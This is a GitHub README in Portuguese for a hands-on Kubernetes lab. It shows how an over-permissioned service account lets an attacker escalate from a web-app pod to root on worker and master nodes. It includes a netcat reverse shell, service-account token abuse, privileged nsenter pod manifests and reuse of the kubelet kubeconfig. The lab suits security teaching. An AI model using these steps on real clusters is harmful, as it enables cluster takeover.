Skip to content

P0ssuidao/k8s-pod-sec-lab

Repository files navigation

Kubernetes é seguro por default ou à prova de má configuração?

Lab + explicação:

Para montar nosso lab vamos precisar de um cluster kubernetes, pode ser até no kind ou minikube.

Não executar esse lab em um cluster produtivo

Primeiro vamos criar nosso namespace, pod, service account e roles:

kubectl create ns production

kubectl create sa web-app-sa -n production

kubectl create role web-app-role -n production --verb=get,list,create --resource=pods,pods/exec

kubectl create rolebinding binding-role-app --serviceaccount=production:web-app-sa --role=web-app-role -n production

kubectl run web-app --image=p0ssuidao/vulne-pod-lab:01 --serviceaccount=web-app-sa -n production

kubectl expose pod -n production web-app --port=8080 --target-port=8080 --type=NodePort --name=web-app-role

kubectl get no -o wide 
kubectl get svc -n production 

Agora basta acessar no seu navegador IP do node + Node port

User foo Pass bar

Agora vamos abrir a porta 32000 para receber a conexão:

sudo nc  -l 32000

Executar no terminal remoto para ganhar acesso a shell:

nc -e /bin/bash "IP da sua maquina" 32000

Primeiro identificarmos com qual usuário estamos logados:

id

A aplicação está rodando com o usuário appuser, então vamos ver quais processos estão em execução.

ps aux

Existe um número muito baixo de processos. Ter poucos processos é o primeiro indicativo que a aplicação é em um container. Por default um container roda com o usuário root mas isso pode ser alterado. Levantaremos informações sobre o release do S.O.

uname -a ; cat /etc/*-release

Aqui há informações como a linha da distribuição GNU/Linux e versão do Kernel. Com isso já pode se iniciar a busca por exploits para a versão de kernel e baseados na distro. Continuando a busca, listaremos as variáveis de ambiente.

env

Vamos continuar o reconhecimento para termos certeza que estamos rodando em um container. Para isso vamos utilizar a ferramenta “amicontained”, pois com ela conseguimos uma serie de informações como:

  • Container Runtime.
  • Existência de namespace.
  • Capabilities.
  • Syscalls liberadas.
cd /tmp; curl -fSL "https://github.com/genuinetools/amicontained/releases/download/v0.4.9/amicontained-linux-amd64" -o "amicontained" \
 && chmod a+x "amicontained" \
 && ./amicontained

Todo pod, deploy e rs possui uma serviceaccount e por padrão são executados com a conta default. Uma serviceaccount fornece uma identidade para processos executados em um pod e nela são atrelado as rules de permissão. As chaves e certificados ficam em um volume montado no pod.

cd /var/run/secrets/kubernetes.io/serviceaccount

Primeiro vamos ver a versão do cluster e se conseguimos interagir com a API.

curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/version

Já que conseguimos acesso a API com esse token vamos tentar listar alguns pods, de inicio vamos tentar listar no namespace em que estamos:

TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)

curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api --header "Authorization: Bearer $TOKEN" --insecure

curl -k https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT}/api/v1/namespaces/$NS/pods/ --header "Authorization: Bearer $TOKEN" --insecure

Conseguimos listar os pods e isso é muito interessante. Para facilitar um pouco as coisas vamos baixar o kubectl para interagir com o cluster.

cd /tmp ; curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.18.0/bin/linux/amd64/kubectl ; chmod +x ./kubectl

Listaremos os pods com o kubectl.

./kubectl get pod

Para testar nossos acessos vamos utilizar o "kubectl auth can-i"

./kubectl auth can-i --list

./kubectl auth can-i create pods

Agora vamos tentar escalar nosso privilegio sem utilizar nenhum exploit apenas conhecimento da ferramenta.

cd /tmp; cat > root-shell.yml <<EOF
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: root-shell
  name: root-shell
spec:
  containers:
  - command:
    - nsenter
    - --mount=/proc/1/ns/mnt
    - --
    - /bin/bash
    image: alpine
    imagePullPolicy: IfNotPresent
    name: "root-shell"
    securityContext:
      privileged: true
    stdin: true
    tty: true
  dnsPolicy: ClusterFirst
  hostPID: true
EOF
./kubectl apply -f root-shell.yml
sleep 10
./kubectl get pods
sleep 10
./kubectl exec -it root-shell -- bash

Conseguimos acesso uma máquina !

Verificando os acessos:

id

ps aux

docker ps

cat /etc/hostname

Nosso acesso é a um worker mas queremos chegar nos master, para isso será necessário informações sobre os demais nodes.

Como vimos nossa conta não possui permissão para listar os nodes, então vamos procurar um conta que consiga listar os nodes. Lembrando dos componentes que fazem parte do node o kubelet possui permissão para verificar os nós ativos, vamos tentar utilizar sua configuração de autenticação para listarmos os nodes:

Vamos pegar suas config com:

systemctl status kubelet

Com a config do kubelet tentaremos listar os nodes usando o parametro --kubeconfig:

kubectl get no --kubeconfig=/etc/kubernetes/kubelet.conf

Conseguimos !

Agora vamos forçar o scheduler nos agendar no node master. Mas primeiro precisamos voltar para nosso container com permissão de criação de pods.

exit
  • Nome do node Master | Substituir pelo nome do seu nó em yml abaixo.
cd /tmp; cat > master-root-shell.yml <<EOF
apiVersion: v1
kind: Pod
metadata:
  labels:
    run: master-root-shell
  name: master-root-shell
spec:
  containers:
  - command:
    - nsenter
    - --mount=/proc/1/ns/mnt
    - --
    - /bin/bash
    image: alpine
    imagePullPolicy: IfNotPresent
    name: "master-root-shell"
    securityContext:
      privileged: true
    stdin: true
    tty: true
  dnsPolicy: ClusterFirst
  hostPID: true
  nodeName: *Nome do node Master* 
  tolerations:
  - effect: NoExecute
    operator: Exists
EOF
./kubectl apply -f master-root-shell.yml
sleep 10
./kubectl get pods
sleep 10
./kubectl exec -it master-root-shell -- bash

Conseguimos acesso ao master =)

id

ps aux

docker ps

kubectl get no

kubectl auth can-i --list

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published